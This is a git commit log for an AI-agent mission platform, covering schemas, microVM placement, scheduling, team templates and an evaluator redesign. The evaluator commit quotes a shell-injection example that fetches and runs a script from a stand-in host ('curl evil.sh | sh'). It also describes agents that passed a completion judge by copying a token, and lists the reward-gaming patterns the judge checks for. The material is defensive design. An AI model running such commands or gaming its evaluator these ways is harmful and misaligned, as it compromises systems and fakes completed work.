`vm_create` takes a backend name and boots `rootfs-<backend>.ext4`; NULL or "default" boots the golden image. Makes the per-CLI images from B4.1 actually reachable (one image per CLI, per A6). A missing image is an ERROR naming the file and how to build it, never a quiet fall back to the default. That fallback is the tempting version and the wrong one: it would run a claude mission in a kimi VM, or in a rootfs with no CLI at all, and report success for whatever came out. Verified on real hardware, not just in a unit test — the selftest asks for an image that does not exist and FAILS if it boots. `create` now reports the rootfs that actually booted, not the one that was requested, so a mission artifact can show the wrong VM ran. The migration adds no CHECK constraint listing the CLIs. Which images exist is a property of the NODES, not the schema; a constraint would need migrating for every new image while still not guaranteeing the image exists anywhere. The node validates and names what is missing. Backend names are `[A-Za-z0-9_-]` and rejected rather than sanitised, since they become filenames. Verified on tank: default backend 8/8; `CLAWMATES_FC_BACKEND=agent-terminal` 9/9 including the absent-image check, create in 910ms on a rootfs built from a real Docker image. 435 tests green, no leaked processes or VM dirs. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
0f7fa31f86 |
feat(fleet): B1 — microvm runtime kind and KVM placement predicate
Phase B step 1, on top of the B0 spike that proved microVMs boot here.
KVM is a HARD predicate, not a preference. gw-04 — where every mission
runs today — is itself a VM without nested virtualisation and has no
/dev/kvm, so a microvm mission landing there cannot start at all. The
scheduler therefore has to be able to tell nodes apart, which means the
node has to report what it can host.
Nodes gain a `capabilities` jsonb, populated from a probe on the node
rather than from configuration: /dev/kvm either exists there or it does
not, and nothing on the server can make it appear. The probe OPENS the
device rather than stat-ing it, because it can exist while being
unopenable (wrong group, or a container without the device passed
through) — which is precisely how firecracker will fail.
`microvm` requires BOTH kvm and a firecracker binary. A node with KVM
but no binary looks capable by the obvious test and fails at launch; a
node with the binary but no KVM is gw-04.
Placement fails the launch when no capable node exists, rather than
letting a mission sit in 'running' with nowhere to run. An explicit
target_node_id is treated as a request, not a guarantee — it is honoured
only if that node actually reports the capability.
`capabilities` defaults to '{}' NOT NULL so a node that has never
reported fails every predicate: an unqueried node and an incapable node
must be indistinguishable to the scheduler, because scheduling onto a
node whose abilities are unknown is how you get a mission that cannot
start and does not say why. The report replaces rather than merges, so a
capability the node has LOST disappears instead of leaving a stale true.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
6e5ccc25a6 |
feat(corpus): record what a continuous mission has already covered
Slice 2 of the adopt-or-build plan. A recurring mission's hard problem is
not running the agent — that is 23 seconds — it is knowing what it did
last time. This repository already tried continuous research once:
migrations 0030-0044 built research_topics/loops, 0053 dropped them all,
and the reason they could not survive is that research_topics carried a
status lifecycle but no seen-set. It could run forever and never know
what it had covered.
Two kinds of row, because the real vault forced it. The plan assumed
notes carry arxiv:/doi:/url: frontmatter. Measured against the actual
valhalla-vault: 416 notes, 145 with frontmatter, and ZERO with any of
those keys — the dominant keys are repo-sync metadata (node, org, gitea)
and course fields (presenter, session). An ingester keyed only on
external identity would have indexed nothing, which is the same shape of
failure as everything else found this week. So `note` rows record
coverage (keyed by path) and `source` rows record consumption (keyed by
natural id); a continuous mission needs both.
Two decisions the data forced:
- `source:` is deliberately NOT an identity key. The vault uses it for
local paths of course material (/Users/quantum/Downloads/...), which is
provenance, not citable identity. Accepting it would fill the seen-set
with 25 rows keyed on a laptop path.
- The hash covers the body, not the whole file. Repo-sync notes rewrite
updated:/size_kb: on every sync without the prose changing; hashing the
file would report 103 phantom edits per run and make "unchanged"
meaningless.
Authoritative in Postgres rather than ZeroClaw memory, per the Slice 1
spike: memory is agent-scoped and mission agents are ephemeral
claw_<uuid> aliases (~100 already present). A seen-set that disappears
with the agent that wrote it is not a seen-set. The spike did find that
POST /api/memory upserts by key, so mirroring content there later would
inherit idempotence for free if keyed by source_id.
Verified against the live 416-note vault, not a fixture:
PASS1 { scanned: 416, inserted: 416, updated: 0, unchanged: 0 }
PASS2 { scanned: 416, inserted: 0, updated: 0, unchanged: 416 }
382 tests, clippy clean.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
2c7d619cf0 |
fix(scheduler): a firing could be lost between rescheduling and dispatch
`tick` advanced `next_run_at` before dispatching the work, with nothing
recording that the occurrence was owed. A process that died between the two
dropped it silently.
The window is narrower than it first looks — `claim_due` sets `last_run_at`
but does not clear `next_run_at`, so a crash *before* `set_next_run` leaves
the routine due and it re-fires on the next tick. The loss is specifically
between the reschedule and the dispatch. That is tolerable for a message
routine and not tolerable for a scheduled mission, which is why this lands
before mission scheduling does.
`routine_fires` holds one row per (routine, occurrence), claimed before
dispatch and settled after:
- Fresh — nobody has it; fire.
- Retry — claimed, never settled: a crash mid-fire. Safe to fire again, as
no completion was recorded and nothing downstream saw a result.
- Settled — already dispatched; advance the clock and do not run the work.
This is what keeps a scheduled mission to one container across
restarts.
A failed dispatch settles terminally rather than staying retryable. Retrying
a persistently failing action every tick is how a broken routine becomes a
denial-of-service against whatever it talks to; the error is kept on the row.
The claim uses `xmax = 0` to distinguish a real insert from a no-op update in
a single statement — `ON CONFLICT DO NOTHING` returns no row at all, so two
schedulers racing one occurrence could both read it as unclaimed.
Also: fan-out capped at 25 per tick with the remainder logged and deferred (a
clock jump or an accidental every-minute cron would otherwise dispatch every
missed occurrence at once — one container each for topology routines), and
`spawn` no longer discards tick errors, so a scheduler that has stopped firing
no longer looks identical to one with nothing to do.
The pre-existing exactly-once test still passes: the claim changes
recoverability, not firing semantics.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
|
3eb89620e7 |
feat(evaluator): verify the work instead of believing the agents
Mission 019fbb63 was judged complete on its second pass without any work being done. The condition required a literal token; pass 1's verdict said the token was missing; that text was handed to the agents verbatim; an agent printed the token. Every step behaved as designed, and the result was a phase marked done on a copy-paste. Two separate defects. **The judge could only read claims.** It now gets a checkout and one tool: `run_check`, an argv array executed by `docker exec` with no shell anywhere. That is structural — with a shell, an allow-list on the program name is decorative, since `git status; curl evil.sh | sh` passes any prefix check; without one, metacharacters are inert bytes in argv. Also: allow-listed programs, read-only git subcommands only (a judge must not be able to `git checkout` away the work it is judging), no absolute paths or `..`, a deadline, and head-and-tail output clamping so failures survive truncation. The verifying prompt is adversarial by design — it looks for tests weakened or deleted, assertions rewritten to match wrong output, values hard-coded or printed rather than produced, and success claimed with no matching git diff. Phases with no checkout keep the evidence-only prompt, which states plainly that verification is impossible there; a judge told it can check something it cannot will claim it did. **The feedback handed over the answer.** `Verdict` splits into `reason` (operator; quotes freely) and `guidance` (agents; sanitized). `sanitize_guidance` redacts identifier-shaped tokens from the condition unless the agents already produced them, so prose feedback survives and magic strings do not. `latest()` returns guidance, with a test that fails if it regresses to `reason`. The next-pass brief now also states that output which merely looks like it satisfies the check fails the pass. Redaction is the backstop; running the tests is the defence. - migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API and the UI, so an operator can see "verified by 3 checks" versus "from agent claims only" rather than having to guess which kind of verdict they have. - `complete_direct` deleted — `judge_with_tools` covers the no-tools case. - 23 evaluator tests, including the incident replayed as a regression. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
|
f848248fac |
feat(missions): goal conditions and phase iteration, judged on the subscription model
A phase used to complete when its topology_runs reached a terminal state --
purely structural. It marked itself done whether the agents produced the
artifact or wrote nothing at all, and it ran exactly once: execute_resumable's
skip(start) is resume, not repeat, and the only re-run path was a human
hitting the retry endpoint.
A phase can now carry `done_when`, a completion condition judged after each
pass against the evidence the agents actually surfaced. Not met and passes
remain -> the phase goes back to pending with iteration bumped, and the
verdict's reason is appended to the next pass's task text. That feedback is
what makes iteration converge rather than repeat -- the same mechanism /goal
uses, and that swarm.rs already uses for rejected work.
The evaluator runs on the SUBSCRIPTION model. CLAWMATES_EVALUATOR_MODEL
defaults to judge_model(), and a `runtime:<alias>` spec routes through
ZeroClawDriveExecutor -- a container agent on claude_cli, i.e. Claude Code on
the OAuth subscription, needing no platform API key. Same routing the door
governor uses.
Two deliberate departures from the governor's contract, both required:
- FAIL-CLOSED. Runtime::judge is fail-open and reads a verdict by
!contains("DENY"), so a model explaining why it *would* deny reads as
approval and an empty reply reads as approval. For completion that is
backwards: unsure must mean not done. The contract is swarm.rs's strict
JSON {"met","reason"} with .unwrap_or(false). Six tests cover the closed
paths -- prose, empty, missing field, non-boolean, transport error.
- judge_raw returns the raw reply; judge collapses to a bool too early to
carry a structured verdict.
Iteration scoping is the subtle part and has its own test: on pass 2 the
phase's own iteration is 1 but pass 1's completed run is still in the table,
so "are this phase's runs all finished?" must ask about the CURRENT pass or
that stale row closes out pass 2 the instant it is enqueued.
Evidence comes from phase_summarizer::collect_evidence, extracted from the
existing collect_material so the evaluator and the summary card cannot
disagree about what a phase produced.
done_when/max_iterations are promoted from phase config into columns (the
sweep filters on them every tick) and max_iterations is clamped to 20 at
insert -- the UI limits it too, but a runaway loop must not be one crafted
request away.
A phase with no condition completes exactly as before; that regression guard
is the first test in the file.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
|
5c63ef0ed3 |
missions: phase-completion summary card (Claude Opus 4.8 synthesized)
New phase_summarizer background worker fires on any mission_phase
transition to a terminal state (completed/failed). Aggregates every
topology_runs.checkpoint.outputs[] + mission_tasks + mission_artifacts
bound to that phase and asks Claude Opus 4.8 to produce a structured
JSON card:
{ narrative, metrics, sources, tooling, next_actions }
Rendered inline on the mission page under each completed phase via
new PhaseSummaryCard component. Metrics grid is kind-specific:
research surfaces insights/sources/int_cards/artifacts, coding
surfaces cards_picked_up/commits/tests/issues, benchmark surfaces
regressions/improvements, security surfaces findings-by-severity.
New table: mission_phase_summaries (migration 0060), unique per
phase_id — regenerates on retry.
New endpoint: GET /api/missions/{id}/phases/{phase_id}/summary.
Model overridable via CLAWMATES_SUMMARIZER_MODEL. Reuses the
ANTHROPIC_API_KEY prod already carries for mission_refiner.
|
||
|
|
b569688e04 |
fix(mission_runtime): per-mission auto-pair via container log scrape (C3 auth)
The seed-mount approach didnt work: even with the shared runtimes data dir bind-mounted, a fresh gateway instance mints a new pairing key and requires re-pairing. The topology_worker connect returned 401 forever. New approach — per-mission gateways self-pair: - Provisioner tails container logs after start, extracts the X-Pairing-Code from the boot banner - Persists it on missions.runtime_pairing_code (migration 0059) - topology_worker constructs ZeroClawDriveExecutor with THAT code via from_env_for_gateway_with_code, which triggers the lazy /pair handshake on first turn and caches the returned bearer Drops the shared-runtime data-dir mount — each per-mission gateway now owns its own state, restoring the C3 isolation guarantee. |
||
|
|
5d24fd3460 |
missions: schema + provisioner skeleton for per-mission runtime containers (C3 slice 1)
- migration 0058: adds missions.runtime_container_name + runtime_endpoint
- new mission_runtime module (bollard): ensure_container /
teardown_container. Container is spawned on clawmates_core +
clawmates_edge networks with just /var/lib/clawmates-missions/{id}
bind-mounted so agents scoped to /mission/repo can only see this
missions repo.
- provider API keys forwarded from the server envs so per-mission
runtimes inherit them.
- Mission struct + repo helpers updated for the two new columns +
set_runtime_binding().
- Unit tests cover container naming determinism + entropy.
Not wired to the orchestrator yet — that lands in slice 2.
|
||
|
|
f0dd0147f6 |
templates: 5 research team templates + category filtering
Adds the operator's five categorized research team archetypes:
1. codebase_research — code archeologist, architecture mapper,
flow tracer, vault scribe. Produces Obsidian vault entries
under Codebases/<repo>/ that make future missions faster.
2. papers_research — domain scout, paper reader, library curator.
Pulls arXiv / Semantic Scholar / conference proceedings, keeps
a structured local library under Papers/<topic>/.
3. insight_research — implementation tracker, novelty hunter,
publication drafter. Bidirectional loop that spots
publication-worthy novelty in our own implementations of
external papers.
4. continuous_research — signal harvester, ranker, digest writer.
Standing sweep of RSS + arXiv daily + GitHub trending; produces
a rolling ContinuousResearch/<date>/digest.md.
5. continuous_improvement — brain inspector, improvement proposer,
improvement evaluator. Standing self-audit that files level-up
proposals for the operator to review + measures the outcome.
Each template ships with role system_prompts + brain_seeds authored
in the same voice as the existing backend/frontend/etc templates —
evidence-first, redlines called out, no invention.
Schema + code:
- 0057_team_templates_category.sql — new column with
CHECK (research | development | security | ops). Existing rows
default to 'development'.
- team_templates::UpsertBuiltin + TeamTemplate carry category
(with default_category = 'development' fallback for
Serialize/Deserialize compatibility).
- team_template_loader reads `category = "..."` from the TOML;
absent defaults to 'development' so old templates keep working.
- Wizard step 3 filters:
Research teams panel → templates.filter(t.category==='research')
Development teams panel → templates.filter(t.category==='development')
Operator can no longer accidentally pick backend as their
"research team".
Test fixture updated with category="development".
The templates ship in the server image via the existing
`COPY templates /etc/clawmates/templates` line — no Dockerfile
change needed.
|
||
|
|
b8b8cb452e |
missions: multi-team model — pick research + development teams
Directly addresses "we want to pick one or more teams to assign to a
mission, first screen research teams, next screen dev teams." A
mission now materializes N teams, each tagged with a phase purpose.
Backend:
- 0056_mission_teams.sql — new join table
mission_teams(mission_id, team_id, purpose). team_id PK because a
team belongs to one mission-purpose. missions.team_id kept as
legacy pointer to the first minted team for single-team surfaces.
- mission_orchestrator::on_launch — reads mission.config.phase_teams
(JSONB shape { research: [tid,...], coding: [tid,...] }), mints
one team per (purpose, template) pair, records each in
mission_teams, binds the first to mission.team_id. Legacy fallback:
if config.phase_teams is absent, uses missions.team_template_id.
Hard error if both are absent.
- GET /api/missions/{id}/teams — returns
[{ team_id, purpose, team_name }], sorted by created_at asc.
Frontend wizard (step 3 rewrite):
- researchTeamIds / devTeamIds — Set<string> multi-selects
- Reusable TeamMultiSelect component (checkbox-style cards)
- Panels rendered conditionally by preset:
hasResearchPhase → "Research teams" panel
hasCodingPhase → "Development teams" panel
neither → "Teams" panel (bench/security-only missions)
- canNext enforces at least one pick in every visible panel
- submit builds config.phase_teams and passes it via CreateMissionRequest
- Review step shows both selections by name
MissionTeamTab:
- Fetches /api/missions/{id}/teams and groups by purpose
- Each purpose renders a section with per-team cards
- Falls back to a single "mission" pseudo-row for legacy missions
that only have missions.team_id (no mission_teams rows)
CreateMissionRequest no longer sends team_template_id from the wizard
— the multi-team config.phase_teams path supersedes it. The backend
still accepts team_template_id for API callers.
Verified: cargo check --workspace + tsc + eslint --quiet all green.
|
||
|
|
d6dbd044c8 |
herdr phase 1a: missions runtime_kind + target_node schema
First slice of the second-runtime path. Missions now carry
runtime_kind ('zeroclaw' | 'local_herdr') + target_node_id (FK to
nodes) so the mission_orchestrator + phase executors can dispatch
differently depending on where the operator wants execution.
Migration:
- 0055_missions_runtime_kind.sql — adds runtime_kind (NOT NULL
DEFAULT 'zeroclaw' + CHECK), target_node_id (nullable FK ON
DELETE SET NULL). All existing missions backfill to 'zeroclaw'
so behavior is unchanged.
- topology_runs also grows herdr_workspace_id / herdr_tab_id /
herdr_pane_id text columns so a resumed run can reattach to the
same Herdr pane instead of spawning a duplicate.
Code:
- cm-db::repo::missions — Mission + NewMission carry the two new
fields; all SELECTs updated; INSERT COALESCE-defaults
runtime_kind to 'zeroclaw' when unspecified.
- routes::missions::create — validates runtime_kind and requires
target_node_id when kind='local_herdr' (400 otherwise).
- lib/api/missions.ts — RuntimeKind type; Mission carries both;
CreateMissionRequest optional fields.
Behavior is opt-in: no path exists yet to actually create a
local_herdr mission — that lands in Phase 1c (wizard picker). This
commit just makes the schema + validation in place so Phase 1b's
fleet_herdr dispatch module can key on it.
Tests: mission_orchestrator integration test still green.
|
||
|
|
854a617777 |
task #23: retire per-team ZeroClaw container coords (Option A)
Missions never populated teams.zeroclaw_container /
teams.zeroclaw_gateway_url — those were research/loops-era columns
for long-lived per-team containers. Every mission-materialized team
runs inside the SHARED runtime as claws-as-agents provisioned via
RuntimeProvisioner. Reading zeroclaw_container on a mission row
always came up NULL, making security_scan + benchmark_runner
silently fail with "mission has no team container yet."
Changes:
- migrations/0054_drop_teams_zeroclaw_columns.sql — DROP both
columns.
- cm-db/src/repo/teams.rs — delete dead helpers
team_container_coords + set_team_container_coords.
- cm-api/src/security_scan.rs — replace team_container_for_mission
with exec_target(pool, mission_id): container from env
CLAWMATES_RUNTIME_CONTAINER (default clawmates-runtime); workdir
from env CLAWMATES_MISSIONS_ROOT + /{mission_id}/repo
(same convention pdf_renderer uses); precondition that mission
must have repo_id bound.
- cm-api/src/benchmark_runner.rs — same shape.
Follow-up (not in this commit): mission_orchestrator + compose stack
still need to wire a per-mission repo checkout under
CLAWMATES_MISSIONS_ROOT before scan/bench actually produce findings.
Columns cleanup here removes the misleading silent-fail; the
missing-checkout gap is now surfaced with a clear error.
Verified: SQLX_OFFLINE=true cargo check --workspace + cargo test
-p cm-api --test mission_orchestrator both green.
Closes task #23.
|
||
|
|
fdb8cfeecc |
slice 9 cleanup: drop legacy research/loops backend + tables
Retires the legacy research/loops backend after the missions arc
(slices 1-9) fully replaced it. Frontend cutover was 4663348; this
commit finishes the job on the backend + database.
Migration:
- 0053_drop_legacy_research_loops.sql — drops the 8 legacy tables
(research_topics, research_topic_agents, research_outcomes,
research_publish_approvals, loops, loop_agents, loop_orgs,
loop_teams) and the 3 topology_runs FK columns
(research_topic_id, loop_id, iteration). parent_run_id stays;
recursive_exec still uses it.
Files deleted (11):
- crates/cm-api/src/routes/{research,loops,research_setup,
research_pipeline,wizard_repo,probe}.rs
- crates/cm-api/src/research_container.rs
- crates/cm-db/src/repo/{research_topics,research_outcomes,
research_publish_approvals,loops}.rs
- crates/cm-runtime/src/loops.rs
- crates/cm-api/tests/research_publish_role.rs
Files edited:
- crates/cm-api/src/lib.rs — dropped 20 legacy route registrations
(all /api/research/* + /api/loops/* + /webhooks/loops + probe)
and module decls
- crates/cm-api/src/topology_worker.rs — deleted legacy dispatch
(freeze_research_outcome, advance_loop_after_completion,
continue_initial_burst, maybe_transition_research_topic,
parse_reorder_rationale, per-topic/loop gateway resolver).
reap_stuck_runs now keys on mission_id (not topic_id).
Executor path unconditionally uses ZeroClawDriveExecutor::from_env
— mission_orchestrator provisions each claw as an agent inside
the shared runtime via RuntimeProvisioner, so per-team gateway
resolution is no longer applicable.
- crates/cm-api/src/routes/topology.rs — deleted container-log SSE
endpoint (research/loop-specific), dropped loop_id filter and
iteration field from ListRunsQuery/RunSummary
- crates/cm-api/src/routes/world.rs — removed
active_research_topics/active_loops/preseed_repo_paths;
World SSE no longer emits repo:{topic}/loop:{id} landmark orbs
(follow-up task #21 tracks adding mission:{id} equivalents)
- crates/cm-api/src/runtime_provision.rs — removed now-unused
mint_workspace_service_token
- crates/cm-db/src/repo/topology_runs.rs — removed 9 legacy
helpers (research_topic_id lookup, loop_id_for_run,
iteration_for_run, active_runs_for_research_topic, etc.)
- crates/cm-db/src/repo/teams.rs — removed 4 dead helpers
(team_for_loop, team_for_research_topic + setters)
- crates/cm-api/tests/topology_jobs.rs — removed loop/topic
tests, dropped enqueue_run_with_topic helper
- crates/bins/clawmates-server/src/main.rs — removed
spawn_loop_scheduler call
- crates/cm-api/src/routes/mod.rs, crates/cm-db/src/repo/mod.rs,
crates/cm-runtime/src/lib.rs — module decls stripped
sqlx cache: regenerated against post-migration schema
(71 files changed, ~+70 / -8896 net)
Test/build: SQLX_OFFLINE=true cargo check --workspace clean;
cargo test --workspace --no-run clean.
Follow-up (task #21): World view lost the in-flight-work landmarks
when repo:{topic} / loop:{id} orbs disappeared. Add mission:{id}
orbs as the missions-era replacement.
|
||
|
|
9b5e63cbb7 |
slice 8.5: per-agent + per-team level-up endpoints
Level-up analyzes an agent's brain + recent run outcomes (or a
whole team's aggregate state), calls Gemini 2.5 Flash for structured
JSON proposals, and persists them as pending level_up_proposals
rows. Reviewer approves a subset via /apply; the applier commits
only those items.
Migration 0052 adds level_up_proposals (id, workspace_id, agent_id
XOR team_id via CHECK constraint, status, payload JSONB,
applied_items[], model, created_by, approved_by, created_at,
applied_at) + workspace/pending/agent/team indexes.
Rust surface:
- cm_db::repo::level_up::{insert, get, list_pending, mark_applied,
mark_rejected}
- cm_api::level_up::{propose_agent, propose_team, apply}
Item kinds handled by apply():
identity_refinement → UPDATE agents.system_prompt
skill_add → agent_skills_ext INSERT
skill_candidate → workspace-scoped skills INSERT
(deterministic id per (workspace, name))
brain_consolidation → set_agent_md on the brain (unlike
brain_seed::ingest, this overwrites)
roster_change / mcp_bundle_change — logged as
"not auto-applied, human runs
team-wizard" (structural changes need
human review of side effects).
API:
- POST /api/claws/{id}/level-up → { proposal_id }
- POST /api/teams/{id}/level-up → { proposal_id }
- GET /api/level-up-proposals → pending list
- GET /api/level-up-proposals/{id}
- POST /api/level-up-proposals/{id}/apply { approved_item_ids }
- POST /api/level-up-proposals/{id}/reject
Uses Gemini 2.5 Flash with response_mime_type: "application/json"
so the model returns structured JSON directly (no ```json fence
stripping needed). Configurable via CLAWMATES_LEVEL_UP_MODEL.
Follow-ups:
- Frontend diff-review UI (pick items, approve/reject)
- roster_change / mcp_bundle_change appliers (currently manual)
- Anthropic + OpenAI proposer variants
- Promote workspace-scoped skills to builtin via a curator flow
Co-Authored-By: Claude Opus 4.7 <[email protected]>
|
||
|
|
f40ec075a5 |
slice 5: task-card parser + background worker
Watches topology_runs' event stream for the INT-XX marker protocol
(see skills/foundation/int-xx-marker-protocol.md) and materializes
mission_tasks rows with typed status so the canvas Tasks tab renders
a live timeline instead of raw agent chatter.
Migration 0051 adds mission_id + mission_phase_id columns to
topology_runs (nullable) so runs enqueued by a mission phase can be
attributed. Populated by future phase executors; NULL for legacy
research/loops runs (parser skips them cleanly).
New Rust surface:
- task_card_parser::parse(text) — line-scanner over TASK/WORK/
HANDOFF/TEST_PASS/TEST_FAIL/REVIEW_APPROVE/REVIEW_BLOCK/COMPLETED
markers. Strict: exact kind + colon + INT- prefix, no in-prose
matches, no bold/code-fence wrappers.
- task_card_parser::apply_for_run(pool, run_id) — reads the run's
mission binding, walks its event payloads, extracts text/output/
content/message string fields (matching every ZeroClaw event
shape we see), parses markers, UPSERTs mission_tasks via the
(phase_id, external_id) unique key from Slice 1.
- task_card_worker::spawn — 15s poller over runs updated in the
last 5 minutes. Idempotent + generous window survives server
restarts + task-scheduling jitter.
Boot wires the worker after the content loaders. Silent no-op when
mission wiring isn't populated yet.
MarkerKind → status mapping (monotonic-forward):
TASK → created
WORK → working
HANDOFF → validating
TEST_PASS → validating
TEST_FAIL → failed
REVIEW_APPROVE → validating
REVIEW_BLOCK → failed
COMPLETED → complete
Follow-ups:
- Wire phase executor to populate topology_runs.mission_id +
mission_phase_id (Slice 6/7/8 work)
- Assign assigned_agent_id via the event's producing agent alias
(currently always None)
- SSE stream on /api/missions/{id}/tasks for live canvas updates
(currently the canvas polls via mission GET)
Co-Authored-By: Claude Opus 4.7 <[email protected]>
|
||
|
|
85a97dffca |
slice 3.5d: agent_template_link + brain seed helper + skills merge
Ships the lineage layer that ties agents back to their team template
and wires the MCP skills server to actually merge template default
skills with per-agent overrides.
Migration 0050 adds `agent_template_link` (agent_id PK, template_id,
template_version, role_slot, seeded_at, created_at + indexes for
template/role lookups). Populated at agent-materialization time by
Slice 4's mission-launch orchestrator; read here by the skills MCP
server and by future level-up (Slice 8.5).
New Rust surface:
- cm_db::repo::agent_template_link (upsert / get / mark_seeded /
agents_for_template — the last is what level-up's "prompt upgrade
on template N+1" query needs)
- cm_api::brain_seed::ingest(claw_id, seed_md, identity_prompt)
opens cm_brain::ClawBrain on spawn_blocking, sets system_prompt
on first touch, writes seed as agent_md, commits. Idempotent —
skips when agent_md already populated.
- cm_api::mcp_skills::mcp_skills tools/call now resolves the caller
agent's template + role via agent_template_link and merges
template default skills with per-agent overrides (was overrides-
only in Slice 3.5b).
- cm_api::team_template_loader now binds template_role_skills after
upserting each template — looks up each declared skill by name,
attaches with pin_in_context=true for foundation skills and the
first two role skills. Missing skills log + skip.
- Boot ordering: skills load BEFORE team templates so the binding
lookup resolves.
Follow-up (Slice 4): mission-launch orchestrator calls brain_seed::ingest
+ agent_template_link::upsert when minting a team from a template.
Until that lands, the link is populated only by manual writes; the
MCP merge is silent-no-op for agents without a link (falls through
to overrides-only), which matches the pre-3.5d behavior.
Co-Authored-By: Claude Opus 4.7 <[email protected]>
|
||
|
|
1153d72d00 |
slice 3.5a: skills catalog — the "how to think" layer
Introduce the skills catalog: the second half of the two-layer agent
model (skills teach agents HOW to think about a problem; MCP servers
give them the ABILITY to act). Delivery via MCP resources lands in
Slice 3.5b; this slice ships the data model + API surface.
Migration 0049 extends the legacy `skills` table (from 0001_init.sql,
originally a workspace catalog of markdown snippets) with the richer
typing we need — name, when_to_use, tags, source_kind, current_version
— rather than duplicating tables. Also adds:
- skill_versions (version history for level-up promotions +
rollback; back-pointer via promoted_from
JSONB records agent_id / research artifact /
brain memory that produced it)
- template_role_skills (m2m binding skills to team-template roles
with pin_in_context + order_idx)
- agent_skills_ext (per-agent overlay: include=true adds a skill
to the bundle; include=false prunes a
template default for this specific agent)
Rust surface:
- cm_db::repo::skills_catalog with typed Skill/SkillVersion/
AgentSkillBinding structs + upsert_builtin (idempotent — bumps
version + appends to skill_versions ONLY when body changes) +
list_visible/get/get_by_name reads + template + agent binding
helpers + effective_for_agent (merges template defaults with
agent overrides, applies exclude precedence, batch-fetches skill
bodies)
- cm_api::routes::skills_catalog with:
GET /api/skills — list visible
GET /api/skills/{id} — detail
GET /api/claws/{id}/skills — effective binding (accepts
template_id + role_slot as query args to merge in template
defaults)
Follow-ups:
- Slice 3.5b: clawmates_skills MCP server exposes catalog as MCP
resources, honoring pin_in_context for auto-injection
- Slice 3.5c: seed ~40-60 builtin skills across the 6 stacks
Co-Authored-By: Claude Opus 4.7 <[email protected]>
|
||
|
|
9ba5c06a1a |
slice 3: 6 team templates seeded from TOML recipes
Team templates are the canonical rosters + tool bundles that mint
concrete teams for a mission. Every builtin ships as a TOML recipe
under templates/teams/*.toml, loaded into the DB at server boot.
Migration 0048 adds:
- team_templates (id, key, name, stack, default_topology,
risk_profile, mcp_bundles, version, source,
workspace_id)
- template_roles (m2m: template_id + slot; system_prompt,
skills[], brain_seed)
- teams gets template_id + template_version for level-up lineage
Ships 6 builtins:
- rust_sdlc — planner/coder/tester/reviewer/committer for Rust
- backend — api_designer/db_engineer/coder/tester/committer
(Postgres, DuckDB, graph DBs, wire protocols)
- frontend — designer/coder/tester/committer (React + Tailwind + ShadCN)
- mobile — designer/coder/tester/committer (Expo, RN, iOS, Android)
- gpu — arch_analyst/kernel_author/bench_engineer/coder/committer
(CUDA, Metal, ROCm from Rust)
- threejs — scene_designer/coder/shader_author/perf_engineer/
committer (three.js, WebGL, WebGPU)
Each role has a versioned system_prompt + skill list + brain_seed
markdown. Skills column is a name array today; Slice 3.5a promotes it
to a typed m2m join with the real skills catalog.
Server boot:
- team_template_loader::load_builtins reads TOML from
/etc/clawmates/templates/teams (container) or templates/teams (dev),
upserts idempotently. Deterministic uuid per template key (sha256
of a fixed namespace + key) so ids are stable across boots.
- Dockerfile copies templates/ to /etc/clawmates/templates.
Read API:
- GET /api/team-templates — list all
- GET /api/team-templates/{id} — detail with roles
Wizard:
- Step 3 rewired from a raw team_id text field to a template picker
with "LLM auto-provision" as the default option + one card per
builtin, showing stack, topology, risk profile, and description.
- Mission create now passes team_template_id (not team_id) so phase
execution knows which template to mint from.
Co-Authored-By: Claude Opus 4.7 <[email protected]>
|
||
|
|
fbefc67878 |
slice 1: missions data model + migration
Introduce the unified `missions` tier that will replace the current
research_topics + loops split. This slice ships the data model +
backfill + skeleton REST surface; the old wizards keep working in
parallel until Slice 9's big-bang cutover.
Migration 0047 adds:
- missions (top-level workflow: template_kind + team +
schedule + status + config)
- mission_phases (ordered {research|coding|benchmark|
security_scan} phases per mission)
- mission_tasks (typed units of work, e.g. INT-XX cards,
UPSERT-keyed on (phase_id, external_id))
- mission_artifacts (MD/PDF/benchmark/security/diff files with
a pending queue for the PDF renderer worker)
- benchmark_snapshots (before/after pairs per iteration)
Backfill copies existing research_topics + loops rows into the new
tables as one-shot missions with the appropriate template_kind, so
Slice 2's UI can render the full history immediately.
New Rust surface:
- cm_domain: MissionId, MissionPhaseId, MissionTaskId, MissionArtifactId
- cm_db::repo::missions: Mission/MissionPhase/MissionTask/
MissionArtifact structs + insert (txn-wrapped)/get/list/set_status/
phases_for/set_phase_status/upsert_task/tasks_for/register_artifact/
artifacts_for/next_pdf_pending/set_pdf_result
- cm_api::routes::missions: skeleton list/create/get/set_status
routes registered at /api/missions/*
Follow-up slices layer richer behavior (template dispatch, phase
execution, task parsing, artifact rendering) on this foundation.
Co-Authored-By: Claude Opus 4.7 <[email protected]>
|
||
|
|
d687a00524 |
teams: zeroclaw container coords + coding_readwrite risk profile
Slice 3a of the per-loop-team arc — prerequisites for the runtime spawn hookup that lands in 3b: 0046 migration - ALTER TABLE teams ADD zeroclaw_container TEXT - ALTER TABLE teams ADD zeroclaw_gateway_url TEXT Both NULL until the runtime's spawn_team fn (3b) provisions the container and persists its coordinates. Mirrors the shape already on research_topics (0038) so the resolver code path can generalize. cm-db - team_container_coords / set_team_container_coords: dynamic sqlx::query() readers/writers for the new columns. Runtime template (gw-04, out-of-band edit on /var/lib/clawmates-runtime-template/config.toml + shared runtime /root/clawmates-runtime/data/.zeroclaw/config.toml) - New [risk_profiles.coding_readwrite]: adds file_write + shell on top of the research_readonly baseline. Still excludes http_request / browser / composio (egress stays behind the MCP door). Slice 3b will add spawn_team (bind-mounts paired-topic repo, uses team-scoped state dir, injects team.risk_profile into the config template) and rewire topology_worker to resolve gateway URL through team_id when the loop has one. |
||
|
|
6066e93889 |
teams: per-team runtime posture (risk_profile + mcp_bundles) + FK from loops/topics
Foundation slice for letting a coding loop bring its own team instead
of reusing the paired research topic's team. Turns out the teams
table already exists (0010_teams.sql) with full CRUD — this scales
back to the minimal missing bits:
Schema (0045_teams.sql)
- ALTER TABLE teams ADD risk_profile TEXT (NULL = template default)
- ALTER TABLE teams ADD mcp_bundles JSONB DEFAULT '[]'
- ALTER TABLE loops ADD team_id UUID REFERENCES teams ON DELETE SET NULL
